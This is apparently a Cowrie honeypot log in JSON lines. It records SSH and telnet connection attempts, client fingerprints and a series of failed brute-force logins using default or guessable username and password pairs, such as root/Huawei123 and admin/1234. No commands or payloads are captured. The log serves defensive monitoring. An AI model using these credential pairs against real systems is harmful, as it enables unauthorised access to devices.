{"eventid":"cowrie.login.failed","username":"josefina","password":"josefina1","message":"login attempt [josefina/josefina1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:51:48.231865Z","src_ip":"213.209.159.56","session":"d753b308b8a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:51:48.316731Z","src_ip":"31.40.204.166","session":"595a83bd7b06","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"josefina","password":"josefina123","message":"login attempt [josefina/josefina123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:51:49.316782Z","src_ip":"213.209.159.56","session":"d753b308b8a8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"josefina","password":"josefina1234","message":"login attempt [josefina/josefina1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:51:50.402378Z","src_ip":"213.209.159.56","session":"d753b308b8a8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54134,"dst_ip":"10.17.0.5","dst_port":23,"session":"925f746f9961","protocol":"telnet","message":"New connection: 152.42.224.71:54134 (10.17.0.5:23) [session: 925f746f9961]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:51:50.410630Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54126,"dst_ip":"10.17.0.5","dst_port":23,"session":"90799bbb1c25","protocol":"telnet","message":"New connection: 152.42.224.71:54126 (10.17.0.5:23) [session: 90799bbb1c25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:51:50.954457Z"}
{"eventid":"cowrie.login.failed","username":"josefina","password":"josefina12345","message":"login attempt [josefina/josefina12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:51:51.486229Z","src_ip":"213.209.159.56","session":"d753b308b8a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:51:52.571230Z","src_ip":"213.209.159.56","session":"d753b308b8a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.33090615272522,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:51:52.988752Z","src_ip":"152.42.224.71","session":"bb89e6c4f230","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":91.86593508720398,"message":"Connection lost after 91 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:51:55.689203Z","src_ip":"176.65.139.118","session":"30e09c6d72d7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":33180,"dst_ip":"159.203.135.109","dst_port":23,"session":"c6c5d1ebfd0a","protocol":"telnet","message":"New connection: 176.65.139.118:33180 (159.203.135.109:23) [session: c6c5d1ebfd0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:51:55.876544Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43052,"dst_ip":"10.17.0.5","dst_port":23,"session":"c76bc5801010","protocol":"telnet","message":"New connection: 152.42.224.71:43052 (10.17.0.5:23) [session: c76bc5801010]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:51:57.355537Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":40170,"dst_ip":"159.203.135.109","dst_port":22,"session":"b49e1d0f4ba0","protocol":"ssh","message":"New connection: 31.40.204.166:40170 (159.203.135.109:22) [session: b49e1d0f4ba0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:51:57.531039Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:51:57.540244Z","src_ip":"31.40.204.166","session":"b49e1d0f4ba0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:51:57.693887Z","src_ip":"31.40.204.166","session":"b49e1d0f4ba0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"user1","message":"login attempt [user1/user1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:51:58.115228Z","src_ip":"31.40.204.166","session":"b49e1d0f4ba0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:51:59.306834Z","src_ip":"31.40.204.166","session":"b49e1d0f4ba0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":104.7068178653717,"message":"Connection lost after 104 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:52:01.953669Z","src_ip":"152.42.224.71","session":"c15917a6caa5","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1234","message":"login attempt [admin/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:52:03.599021Z","src_ip":"176.65.139.118","session":"c6c5d1ebfd0a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":114.59162306785583,"message":"Connection lost after 114 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:52:05.472950Z","src_ip":"152.42.224.71","session":"af0075602918","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43060,"dst_ip":"10.17.0.5","dst_port":23,"session":"1b288932d5fb","protocol":"telnet","message":"New connection: 152.42.224.71:43060 (10.17.0.5:23) [session: 1b288932d5fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:52:05.906940Z"}
{"eventid":"cowrie.session.closed","duration":10.547188520431519,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:52:06.423603Z","src_ip":"176.65.139.118","session":"c6c5d1ebfd0a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":60850,"dst_ip":"159.203.135.109","dst_port":23,"session":"b4c10cd44253","protocol":"telnet","message":"New connection: 176.65.139.118:60850 (159.203.135.109:23) [session: b4c10cd44253]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:52:06.502152Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.170.125","src_port":56926,"dst_ip":"10.17.0.5","dst_port":22,"session":"83cd5de14293","protocol":"ssh","message":"New connection: 103.149.170.125:56926 (10.17.0.5:22) [session: 83cd5de14293]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:52:07.001797Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:52:07.005922Z","src_ip":"103.149.170.125","session":"83cd5de14293","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:52:07.293138Z","src_ip":"103.149.170.125","session":"83cd5de14293","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56156,"dst_ip":"10.17.0.5","dst_port":23,"session":"4110dc56540d","protocol":"telnet","message":"New connection: 152.42.224.71:56156 (10.17.0.5:23) [session: 4110dc56540d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:52:08.056433Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"syncmaster","message":"login attempt [root/syncmaster] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:52:08.125665Z","src_ip":"103.149.170.125","session":"83cd5de14293","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":34090,"dst_ip":"159.203.135.109","dst_port":22,"session":"14a8a03c1560","protocol":"ssh","message":"New connection: 31.40.204.166:34090 (159.203.135.109:22) [session: 14a8a03c1560]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:52:09.181763Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:52:09.186672Z","src_ip":"31.40.204.166","session":"14a8a03c1560","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:52:09.382256Z","src_ip":"31.40.204.166","session":"14a8a03c1560","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:52:09.403063Z","src_ip":"103.149.170.125","session":"83cd5de14293","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"neptune","password":"neptune","message":"login attempt [neptune/neptune] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:52:09.882392Z","src_ip":"31.40.204.166","session":"14a8a03c1560","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.50800275802612,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:52:10.478825Z","src_ip":"152.42.224.71","session":"1e27cde59c74","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:52:11.115563Z","src_ip":"31.40.204.166","session":"14a8a03c1560","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":6.780431032180786,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:52:13.282275Z","src_ip":"176.65.139.118","session":"b4c10cd44253","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.18884325027466,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:52:13.591005Z","src_ip":"152.42.224.71","session":"377cf5e39911","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56170,"dst_ip":"10.17.0.5","dst_port":23,"session":"da3b88c94f64","protocol":"telnet","message":"New connection: 152.42.224.71:56170 (10.17.0.5:23) [session: da3b88c94f64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:52:15.520009Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":54128,"dst_ip":"159.203.135.109","dst_port":23,"session":"eb0568791c8c","protocol":"telnet","message":"New connection: 176.65.139.118:54128 (159.203.135.109:23) [session: eb0568791c8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:52:16.528119Z"}
{"eventid":"cowrie.session.closed","duration":2.0928282737731934,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:52:18.620758Z","src_ip":"176.65.139.118","session":"eb0568791c8c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":51528,"dst_ip":"159.203.135.109","dst_port":23,"session":"2a064dcf02b6","protocol":"telnet","message":"New connection: 176.65.139.118:51528 (159.203.135.109:23) [session: 2a064dcf02b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:52:18.859873Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":58268,"dst_ip":"159.203.135.109","dst_port":22,"session":"986a09048c38","protocol":"ssh","message":"New connection: 31.40.204.166:58268 (159.203.135.109:22) [session: 986a09048c38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:52:20.824546Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:52:20.833852Z","src_ip":"31.40.204.166","session":"986a09048c38","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":53.163278579711914,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:52:20.970427Z","src_ip":"152.42.224.71","session":"b6226df25d92","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:52:20.992801Z","src_ip":"31.40.204.166","session":"986a09048c38","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Huawei123","message":"login attempt [root/Huawei123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:52:21.417584Z","src_ip":"31.40.204.166","session":"986a09048c38","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:52:22.586101Z","src_ip":"31.40.204.166","session":"986a09048c38","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"86981198","message":"login attempt [root/86981198] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:52:25.105179Z","src_ip":"176.65.139.118","session":"2a064dcf02b6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.37817931175232,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:52:25.332527Z","src_ip":"152.42.224.71","session":"90799bbb1c25","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.25513768196106,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:52:26.114884Z","src_ip":"176.65.139.118","session":"2a064dcf02b6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":34500,"dst_ip":"159.203.135.109","dst_port":23,"session":"3a8d7badf6c6","protocol":"telnet","message":"New connection: 176.65.139.118:34500 (159.203.135.109:23) [session: 3a8d7badf6c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:52:26.664551Z"}
{"eventid":"cowrie.session.closed","duration":44.6583046913147,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:52:29.383734Z","src_ip":"152.42.224.71","session":"85a6e15ff2fc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.535977363586426,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:52:30.200399Z","src_ip":"176.65.139.118","session":"3a8d7badf6c6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47636,"dst_ip":"10.17.0.5","dst_port":23,"session":"a058fd32866c","protocol":"telnet","message":"New connection: 152.42.224.71:47636 (10.17.0.5:23) [session: a058fd32866c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:52:30.656291Z"}
{"eventid":"cowrie.session.closed","duration":46.43719005584717,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:52:31.632598Z","src_ip":"152.42.224.71","session":"d9feec02237b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.0018150806427,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:52:32.416242Z","src_ip":"152.42.224.71","session":"b74fe294a934","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":43420,"dst_ip":"159.203.135.109","dst_port":22,"session":"aec10e13ffa4","protocol":"ssh","message":"New connection: 31.40.204.166:43420 (159.203.135.109:22) [session: aec10e13ffa4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:52:32.505750Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:52:32.510680Z","src_ip":"31.40.204.166","session":"aec10e13ffa4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:52:32.686100Z","src_ip":"31.40.204.166","session":"aec10e13ffa4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":34230,"dst_ip":"10.17.0.5","dst_port":22,"session":"ca170c3136b7","protocol":"ssh","message":"New connection: 109.237.96.109:34230 (10.17.0.5:22) [session: ca170c3136b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:52:32.969846Z"}
